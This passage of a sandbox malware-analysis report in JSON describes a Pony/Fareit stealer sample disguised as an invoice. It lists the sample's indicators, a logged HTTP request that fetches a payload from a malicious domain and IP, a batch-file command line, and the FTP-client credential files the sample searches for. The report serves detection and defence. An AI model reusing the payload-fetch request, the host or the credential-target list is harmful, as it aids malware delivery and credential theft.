\"http://www.ibsensoftware.com/\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"2/64 reputation engines marked \"http://laximdiamond.com\" as malicious (3% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"\" called \"OpenService\" to access the \"ProtectedStorage\" service\n \"\" called \"OpenService\" to access the \"ProtectedStorage\" service requesting \"SERVICE_START\" (0X10) access rights","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"General","name":"Sent a control code to a service","description":"\"\" called \"ControlService\" and sent control code \"0X400\" to the service \"ProtectedStorage\"","origin":"API Call","relevance":10,"id":"api-75","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates new processes","description":"\"\" is creating a new process (Name: \"C:\\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe\", Handle: 260)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe.bin\" claimed CRC 11771832 while the actual is CRC 11748297","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"\" wrote bytes \"92e6b97779a8be77be72be77d62dbe771de2b97705a2be77bee3b977616fbe776841bc770050bc7700000000ad3798778b2d9877b641987700000000\" to virtual address \"0x751E1000\" (part of module \"WSHTCPIP.DLL\")\n \"\" wrote bytes \"4053bc775858bd77186abd77653cbe770000000000bf8e770000000056cc8e77000000007cca8e77000000003768eb756a2cbe77d62dbe77000000002069eb750000000029a68e7700000000a48deb7500000000f70e8e7700000000\" to virtual address \"0x768F1000\" (part of module \"NSI.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"LOCALENAME\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET TROJAN Fareit/Pony Downloader Checkin 3\" (SID: 2014234, Rev: 10, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)\n Detected alert \"ET POLICY Windows 98 User-Agent Detected - Possible Malware or Non-Updated System\" (SID: 2007695, Rev: 21, Severity: 1) categorized as \"Potential Corporate Privacy Violation\"\n Detected alert \"ET TROJAN Pony Downloader HTTP Library MSIE 5 Win98\" (SID: 2014562, Rev: 3, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)\n Detected alert \"ET POLICY Unsupported/Fake Internet Explorer Version MSIE 5.\" (SID: 2016870, Rev: 11, Severity: 1) categorized as \"Potential Corporate Privacy Violation\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"12/66 Antivirus vendors marked sample as malicious (18% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"12/66 Antivirus vendors marked sample as malicious (18% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"30/80 Antivirus vendors marked dropped file \"3770374.bat\" as malicious (classified as \"Trojan.BAT\" with 37% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"12/66 Antivirus vendors marked spawned process \"\" (PID: 3720) as malicious (classified as \"DangerousObject.Multi\" with 18% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$25","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Scans for artifacts that may help identify the target","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS LIVE MAIL\")\n \"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET ACCOUNT MANAGER\\ACCOUNTS\")\n \"\" (Path: \"HKCU\\IDENTITIES\\{57AB3677-534E-4173-8F92-6566F6F82F10}\\SOFTWARE\\MICROSOFT\\INTERNET ACCOUNT MANAGER\\ACCOUNTS\")\n \"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\OUTLOOK\\OMI ACCOUNT MANAGER\\ACCOUNTS\")","origin":"Registry Access","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Touched instant messenger related registry keys","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS LIVE MAIL\")","origin":"Registry Access","relevance":5,"id":"registry-34","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"Stealer/Phishing","details_count":2,"details":[{"detail":"Touched instant messenger related registry keys"},{"detail":"Scans for artifacts that may help identify the target"}],"sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"},{"detail":"Scans for artifacts that may help identify the target"}],"sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":11,"imported_dlls_count":72,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":90,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["pony"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"59f1bbf87ca3e17a370cb187","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"DangerousObject.Multi","contacted_countries":["HKG"],"submit_name":"NEW INVOICE.com","analysis_start_time":"2017-10-26T11:39:37+00:00","indicators_count":{"informative":15,"suspicious":15,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"45.122.138.22","port":80,"protocol":"TCP","country":"Hong Kong","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]}],"dns_resolutions":[{"domain":"laximdiamond.com","address":"45.122.138.22","country":"Hong Kong","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_creation_date":"2017-06-28T06:12:22+00:00","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]}],"http_requests":[{"host":"laximdiamond.com","host_ip":"45.122.138.22:80","url":"/fta/panel/shit.exe","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /fta/panel/shit.exe HTTP/1.0\nHost: laximdiamond.com\nAccept: */*\nAccept-Encoding: identity, *;q=0\nConnection: close\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}],"processes":[{"pid":2796,"ppid":0,"name":"0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe","command_line":"","sha256":"0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff","normalized_path":"C:\\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe","uid":"00014414-00002796","icon":"$26"},{"pid":3720,"ppid":2796,"name":"0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe","command_line":"","sha256":"0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff","normalized_path":"C:\\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe","parent_uid":"00014414-00002796","uid":"00015719-00003720","icon":"$27"},{"pid":2744,"ppid":3720,"name":"cmd.exe","command_line":"\"cmd /c \"\"%TEMP%\\3770374.bat\" \"C:\\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe\" \"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00015719-00003720","uid":"00017019-00002744","icon":"$28"}],"all_imported_dlls":["pnrpnsp.dll","usp10.dll","dwmapi.dll","crypt32.dll","msi.dll","ieframe.dll","ntmarta.dll","urlmon.dll","rpcss.dll","oleacc.dll","WSHTCPIP.DLL","NapiNSP.dll","devobj.dll","rpcrt4.dll","ole32.dll","cryptbase.dll","ws2_32.dll","atl.dll","mlang.dll","nlaapi.dll","gdi32.dll","userenv.dll","msasn1.dll","comctl32.dll","winbrand.dll","kernel32.dll","sxs.dll","srvcli.dll","pstorec.dll","sspicli.dll","ntdll.dll","msvcrt.dll","shell32.dll","wininet.dll","netapi32.dll","psapi.dll","rasadhlp.dll","msvbvm60.dll","advapi32.dll","iertutil.dll","nsi.dll","netutils.dll","oleaccrc.dll","cfgmgr32.dll","uxtheme.dll","apphelp.dll","samlib.dll","propsys.dll","Wldap32.dll","dnsapi.dll","lpk.dll","clbcatq.dll","FWPUCLNT.DLL","setupapi.dll","KernelBase.dll","imm32.dll","msctf.dll","rsaenh.dll","shlwapi.dll","winnsi.dll","winrnr.dll","oleaut32.dll","wsock32.dll","samcli.dll","mpr.dll","sechost.dll","cryptsp.dll","wkscli.dll","user32.dll","profapi.dll","IPHLPAPI.DLL","mswsock.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"3770374.bat","sha256":"936d9411d5226b7c5a150ecaf422987590a8870c8e095e1caa072273041a86e7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]}],"files_written":[{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%TEMP%\\~DF9E94D7728E8CBB19.TMP","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%TEMP%\\HWID","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%WINDIR%\\wcx_ftp.ini","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%USERPROFILE%\\wcx_ftp.ini","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\GHISLER\\wcx_ftp.ini","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\GHISLER\\wcx_ftp.ini","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\GHISLER\\wcx_ftp.ini","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\GlobalSCAPE\\CuteFTP\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\GlobalSCAPE\\CuteFTP Pro\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\GlobalSCAPE\\CuteFTP Lite\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\CuteFTP\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\GlobalSCAPE\\CuteFTP\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\GlobalSCAPE\\CuteFTP Pro\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\GlobalSCAPE\\CuteFTP Lite\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\CuteFTP\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\GlobalSCAPE\\CuteFTP\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\GlobalSCAPE\\CuteFTP Pro\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\GlobalSCAPE\\CuteFTP Lite\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\CuteFTP\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%PROGRAMFILES%\\GlobalSCAPE\\CuteFTP\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%PROGRAMFILES%\\GlobalSCAPE\\CuteFTP Pro\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%PROGRAMFILES%\\GlobalSCAPE\\CuteFTP Lite\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%PROGRAMFILES%\\CuteFTP\\sm.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\FlashFXP\\3\\Sites.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\FlashFXP\\4\\Sites.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\FlashFXP\\3\\Quick.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\FlashFXP\\4\\Quick.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\FlashFXP\\3\\History.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\FlashFXP\\4\\History.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\FlashFXP\\3\\Sites.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\FlashFXP\\4\\Sites.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\FlashFXP\\3\\Quick.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\FlashFXP\\4\\Quick.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\FlashFXP\\3\\History.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\FlashFXP\\4\\History.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\FlashFXP\\3\\Sites.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\FlashFXP\\4\\Sites.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\FlashFXP\\3\\Quick.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\FlashFXP\\4\\Quick.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\FlashFXP\\3\\History.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\FlashFXP\\4\\History.dat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\FileZilla\\sitemanager.xml","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\FileZilla\\recentservers.xml","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\FileZilla\\filezilla.xml","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\FileZilla\\sitemanager.xml","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\FileZilla\\recentservers.xml","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\FileZilla\\filezilla.xml","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\FileZilla\\sitemanager.xml","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\FileZilla\\recentservers.xml","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\FileZilla\\filezilla.xml","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\ExpanDrive\\drives.js","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\ExpanDrive\\drives.js","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\ExpanDrive\\drives.js","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\SharedSettings.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\SharedSettings.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\SharedSettings_1_0_5.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\SharedSettings_1_0_5.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\SharedSettings.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\SharedSettings.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\SharedSettings_1_0_5.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\SharedSettings_1_0_5.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\SharedSettings.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\SharedSettings.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\SharedSettings_1_0_5.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\SharedSettings_1_0_5.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\CoffeeCup Software\\SharedSettings.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\CoffeeCup Software\\SharedSettings.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\CoffeeCup Software\\SharedSettings_1_0_5.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%APPDATA%\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\CoffeeCup Software\\SharedSettings.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\CoffeeCup Software\\SharedSettings.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\CoffeeCup Software\\SharedSettings_1_0_5.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%ALLUSERSPROFILE%\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\CoffeeCup Software\\SharedSettings.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\CoffeeCup Software\\SharedSettings.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\CoffeeCup Software\\SharedSettings_1_0_5.ccs","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%WINDIR%\\32BitFtp.ini","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"path":"%TEMP%\\3770374.bat","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187